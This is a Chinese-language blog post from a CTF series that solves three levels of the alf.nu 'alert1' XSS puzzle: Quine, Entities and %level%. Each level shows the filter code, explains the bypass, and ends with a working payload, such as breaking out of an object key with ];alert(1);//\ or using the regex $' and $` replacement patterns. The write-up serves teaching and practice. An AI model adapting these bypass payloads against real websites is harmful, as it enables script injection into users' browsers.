iT邦幫忙

2021 iThome 鐵人賽

DAY 28
0

Q1. XSS Lab(2)-6

題目:https://alf.nu/alert1

  1. Quine

    • 題目:

      // submitted by Somebody
      function escape(s) {
          // We've got a quine level in all of the other
          // games, so why not have one here?
          var win = alert;
          window.alert = function(t) {
              if (t === s)
                  win(1);
              else
                  console.log("Alert: " + t + "\n(That's not a quine)");
          }
          return s;
      }
      
    • 解題:

      • Quine 是「自產生程式」的意思,意思是是「輸出結果」等同「自身原始碼」的程式。
      • 本題需要輸入值 s 能夠呼叫 alert,但呼叫的參數 t 等同於 s
      • 由於 s 會是整個 document 的內容,這邊用 document.body.innerHTML 當參數 t 傳入即可
      • 參考資料:https://codepen.io/rileyjshaw/pen/iGjgs
    • ANS: <script>alert(document.body.innerHTML)</script>

  2. Entities

    // submitted by securityMB
    function escape(s) {
      function htmlentities(s) {
        return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
      }
      s = htmlentities(s);
      return `<script>
    	  var obj = {};
    	  obj["${s}"] = "${s}";
    	</script>`;
    }
    
    • 題目過濾了 &<>"',但是沒有過濾 ;/\

    • 宣告了個物件 obj,並且命 obj["輸入字串"] ="輸入字串";

    • 而 JS 有個特性,若找不存在的 key,不會造成語法錯誤

      https://ithelp.ithome.com.tw/upload/images/20211012/20140592MJCpPP4FMD.png

    • 那我們就利用這個特性,將 obj 變成 obj["字串"];alert(1); ,來執行 alert(1)

    https://ithelp.ithome.com.tw/upload/images/20211012/20140592I7CXfNfsvK.png

    • ANS
      • ];alert(1);//\
  3. %level%

    • 題目:

      // submitted anonymously
      function escape(s) {
          const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
          const userTemplate = '<script>let some = %userData%</script>';
          return userTemplate.replace(/%userData%/, userInput);
      }
      
    • 解題:

      • Regex 中, $' 表示 after match , $` 表示 before match
      • 因此在 userTemplate.replace(/%userData%/, userInput); 中:
        • userInput 中出現$'表示 </script>
        • userInput 中出現 $` 表示 <script>let some =
      • 藉此我們可以構建出 </script><script>let some = alert(1)// 繞過限制。
    • ANS

      • $'$`alert(1)//

上一篇
【第二十七天 - XSS Lab(2)-5】
下一篇
【第二十九天 - Python 反序列化】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言